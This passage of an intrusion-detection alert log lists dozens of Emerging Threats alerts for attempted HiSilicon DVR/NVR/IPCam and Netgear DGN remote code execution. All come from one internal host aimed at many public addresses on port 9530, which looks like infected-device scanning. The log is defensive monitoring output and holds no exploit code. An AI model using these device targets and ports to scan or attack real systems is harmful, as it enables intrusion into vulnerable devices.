Source Port:	45274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.75.248.38

Timestamp:	05/16/24-16:38:59.590347
SID:	2030487
Source Port:	45274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.84.37.181

Timestamp:	05/16/24-16:39:03.275985
SID:	2030488
Source Port:	55474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.237.229.21

Timestamp:	05/16/24-16:38:57.304727
SID:	2030488
Source Port:	48568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.237.229.21

Timestamp:	05/16/24-16:38:57.304727
SID:	2030487
Source Port:	48568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.209.124.243

Timestamp:	05/16/24-16:38:50.065079
SID:	2030487
Source Port:	48046
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.209.124.243

Timestamp:	05/16/24-16:38:50.065079
SID:	2030488
Source Port:	48046
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.22.164.233

Timestamp:	05/16/24-16:39:03.256874
SID:	2030488
Source Port:	46966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.37.160.195

Timestamp:	05/16/24-16:39:03.256856
SID:	2030488
Source Port:	54636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.22.164.233

Timestamp:	05/16/24-16:39:03.256874
SID:	2030487
Source Port:	46966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.37.160.195

Timestamp:	05/16/24-16:39:03.256856
SID:	2030487
Source Port:	54636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.141.198.220

Timestamp:	05/16/24-16:38:53.084711
SID:	2030488
Source Port:	43022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.141.198.220

Timestamp:	05/16/24-16:38:53.084711
SID:	2030487
Source Port:	43022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.82.38.217

Timestamp:	05/16/24-16:38:55.201827
SID:	2030487
Source Port:	45202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.228.73.17

Timestamp:	05/16/24-16:39:08.136455
SID:	2030488
Source Port:	57250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.82.38.217

Timestamp:	05/16/24-16:38:55.201827
SID:	2030488
Source Port:	45202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.228.73.17

Timestamp:	05/16/24-16:39:08.136455
SID:	2030487
Source Port:	57250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.253.96.231

Timestamp:	05/16/24-16:39:12.301264
SID:	2030488
Source Port:	38972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.253.96.231

Timestamp:	05/16/24-16:39:12.301264
SID:	2030487
Source Port:	38972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.241.248.151

Timestamp:	05/16/24-16:38:55.216368
SID:	2030487
Source Port:	43490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.126.238.229

Timestamp:	05/16/24-16:39:14.493465
SID:	2030488
Source Port:	43438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.126.238.229

Timestamp:	05/16/24-16:39:14.493465
SID:	2030487
Source Port:	43438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.241.248.151

Timestamp:	05/16/24-16:38:55.216368
SID:	2030488
Source Port:	43490
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.14.118.25

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	42472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.14.118.25

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	42472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.64.188.180

Timestamp:	05/16/24-16:38:50.063158
SID:	2030488
Source Port:	57704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.63.221.30

Timestamp:	05/16/24-16:39:12.298280
SID:	2030488
Source Port:	52420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.64.188.180

Timestamp:	05/16/24-16:38:50.063158
SID:	2030487
Source Port:	57704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.63.221.30

Timestamp:	05/16/24-16:39:12.298280
SID:	2030487
Source Port:	52420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.106.253.56

Timestamp:	05/16/24-16:39:05.678466
SID:	2030488
Source Port:	38428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.12.76.75

Timestamp:	05/16/24-16:38:50.004119
SID:	2030488
Source Port:	41052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.106.253.56

Timestamp:	05/16/24-16:39:05.678466
SID:	2030487
Source Port:	38428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.12.76.75

Timestamp:	05/16/24-16:38:50.004119
SID:	2030487
Source Port:	41052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.217.119.50

Timestamp:	05/16/24-16:38:55.223812
SID:	2030488
Source Port:	36420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.56.234.171

Timestamp:	05/16/24-16:39:12.401751
SID:	2030488
Source Port:	39256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.217.119.50

Timestamp:	05/16/24-16:38:55.223812
SID:	2030487
Source Port:	36420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.56.234.171

Timestamp:	05/16/24-16:39:12.401751
SID:	2030487
Source Port:	39256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.235.32.54

Timestamp:	05/16/24-16:38:49.306429
SID:	2024916
Source Port:	42358
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.38.95.233

Timestamp:	05/16/24-16:39:16.585508
SID:	2030487
Source Port:	35456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.38.95.233

Timestamp:	05/16/24-16:39:16.585508
SID:	2030488
Source Port:	35456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.252.215.170

Timestamp:	05/16/24-16:38:53.098249
SID:	2030488
Source Port:	36400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.252.215.170

Timestamp:	05/16/24-16:38:53.098249
SID:	2030487
Source Port:	36400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.192.77.179

Timestamp:	05/16/24-16:39:16.605108
SID:	2030487
Source Port:	37346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.192.77.179

Timestamp:	05/16/24-16:39:16.605108
SID:	2030488
Source Port:	37346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.76.74.202

Timestamp:	05/16/24-16:39:12.383573
SID:	2030487
Source Port:	34314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.76.74.202

Timestamp:	05/16/24-16:39:12.383573
SID:	2030488
Source Port:	34314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.121.148.113

Timestamp:	05/16/24-16:39:12.403746
SID:	2030488
Source Port:	37334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.121.148.113

Timestamp:	05/16/24-16:39:12.403746
SID:	2030487
Source Port:	37334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.225.213.157

Timestamp:	05/16/24-16:38:57.409019
SID:	2030488
Source Port:	33788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.225.213.157

Timestamp:	05/16/24-16:38:57.409019
SID:	2030487
Source Port:	33788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.146.184.74

Timestamp:	05/16/24-16:38:57.438410
SID:	2030487
Source Port:	51660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.146.184.74

Timestamp:	05/16/24-16:38:57.438410
SID:	2030488
Source Port:	51660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.21.168.206

Timestamp:	05/16/24-16:38:53.098290
SID:	2030488
Source Port:	57662
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.164.128.253

Timestamp:	05/16/24-16:38:55.215538
SID:	2030487
Source Port:	40136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.164.128.253

Timestamp:	05/16/24-16:38:55.215538
SID:	2030488
Source Port:	40136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.182.188.6

Timestamp:	05/16/24-16:38:50.068336
SID:	2030488
Source Port:	52342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.182.188.6

Timestamp:	05/16/24-16:38:50.068336
SID:	2030487
Source Port:	52342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.47.227.138

Timestamp:	05/16/24-16:39:05.705292
SID:	2030487
Source Port:	38948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.47.227.138

Timestamp:	05/16/24-16:39:05.705292
SID:	2030488
Source Port:	38948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.120.106.12

Timestamp:	05/16/24-16:38:53.011420
SID:	2030487
Source Port:	48800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.120.106.12

Timestamp:	05/16/24-16:38:53.011420
SID:	2030488
Source Port:	48800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.223.35.47

Timestamp:	05/16/24-16:38:57.434348
SID:	2030488
Source Port:	39798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.223.35.47

Timestamp:	05/16/24-16:38:57.434348
SID:	2030487
Source Port:	39798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.237.155.13

Timestamp:	05/16/24-16:39:05.678392
SID:	2030488
Source Port:	42264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.35.168.66

Timestamp:	05/16/24-16:39:12.407539
SID:	2030487
Source Port:	44484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.21.168.206

Timestamp:	05/16/24-16:38:53.098290
SID:	2030487
Source Port:	57662
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.237.155.13

Timestamp:	05/16/24-16:39:05.678392
SID:	2030487
Source Port:	42264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.35.168.66

Timestamp:	05/16/24-16:39:12.407539
SID:	2030488
Source Port:	44484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.168.33.224

Timestamp:	05/16/24-16:39:16.576791
SID:	2030487
Source Port:	40592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.168.33.224

Timestamp:	05/16/24-16:39:16.576791
SID:	2030488
Source Port:	40592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.245.163.211

Timestamp:	05/16/24-16:39:16.605743
SID:	2030488
Source Port:	60402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.245.163.211

Timestamp:	05/16/24-16:39:16.605743
SID:	2030487
Source Port:	60402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.126.11.78

Timestamp:	05/16/24-16:39:05.678431
SID:	2030487
Source Port:	47492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.126.11.78

Timestamp:	05/16/24-16:39:05.678431
SID:	2030488
Source Port:	47492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.217.146.226

Timestamp:	05/16/24-16:38:57.409011
SID:	2030488
Source Port:	39122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.217.146.226

Timestamp:	05/16/24-16:38:57.409011
SID:	2030487
Source Port:	39122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.7.32.11

Timestamp:	05/16/24-16:38:59.558461
SID:	2030488
Source Port:	46226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.142.95.35

Timestamp:	05/16/24-16:38:53.011217
SID:	2030488
Source Port:	48970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.7.32.11

Timestamp:	05/16/24-16:38:59.558461
SID:	2030487
Source Port:	46226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.142.95.35

Timestamp:	05/16/24-16:38:53.011217
SID:	2030487
Source Port:	48970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.140.12.220

Timestamp:	05/16/24-16:38:50.078800
SID:	2030488
Source Port:	53528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.225.19.240

Timestamp:	05/16/24-16:39:12.401706
SID:	2030488
Source Port:	57366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.140.12.220

Timestamp:	05/16/24-16:38:50.078800
SID:	2030487
Source Port:	53528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.225.19.240

Timestamp:	05/16/24-16:39:12.401706
SID:	2030487
Source Port:	57366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.61.172.198

Timestamp:	05/16/24-16:39:05.714866
SID:	2030487
Source Port:	57144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.61.172.198

Timestamp:	05/16/24-16:39:05.714866
SID:	2030488
Source Port:	57144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.157.94.226

Timestamp:	05/16/24-16:38:59.586869
SID:	2030487
Source Port:	48360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.157.94.226

Timestamp:	05/16/24-16:38:59.586869
SID:	2030488
Source Port:	48360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.231.138.207

Timestamp:	05/16/24-16:39:02.767747
SID:	2030487
Source Port:	43260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.110.208.141

Timestamp:	05/16/24-16:39:08.035656
SID:	2030488
Source Port:	36878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.110.208.141

Timestamp:	05/16/24-16:39:08.035656
SID:	2030487
Source Port:	36878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.236.222.225

Timestamp:	05/16/24-16:39:12.382085
SID:	2030488
Source Port:	45508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.236.222.225

Timestamp:	05/16/24-16:39:12.382085
SID:	2030487
Source Port:	45508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.52.9.103

Timestamp:	05/16/24-16:38:59.590385
SID:	2030487
Source Port:	34776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.52.9.103

Timestamp:	05/16/24-16:38:59.590385
SID:	2030488
Source Port:	34776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.85.230.164

Timestamp:	05/16/24-16:39:16.597864
SID:	2030488
Source Port:	56396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.85.230.164

Timestamp:	05/16/24-16:39:16.597864
SID:	2030487
Source Port:	56396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.45.212.160

Timestamp:	05/16/24-16:39:16.579422
SID:	2030488
Source Port:	58246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.45.212.160

Timestamp:	05/16/24-16:39:16.579422
SID:	2030487
Source Port:	58246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.205.98.218

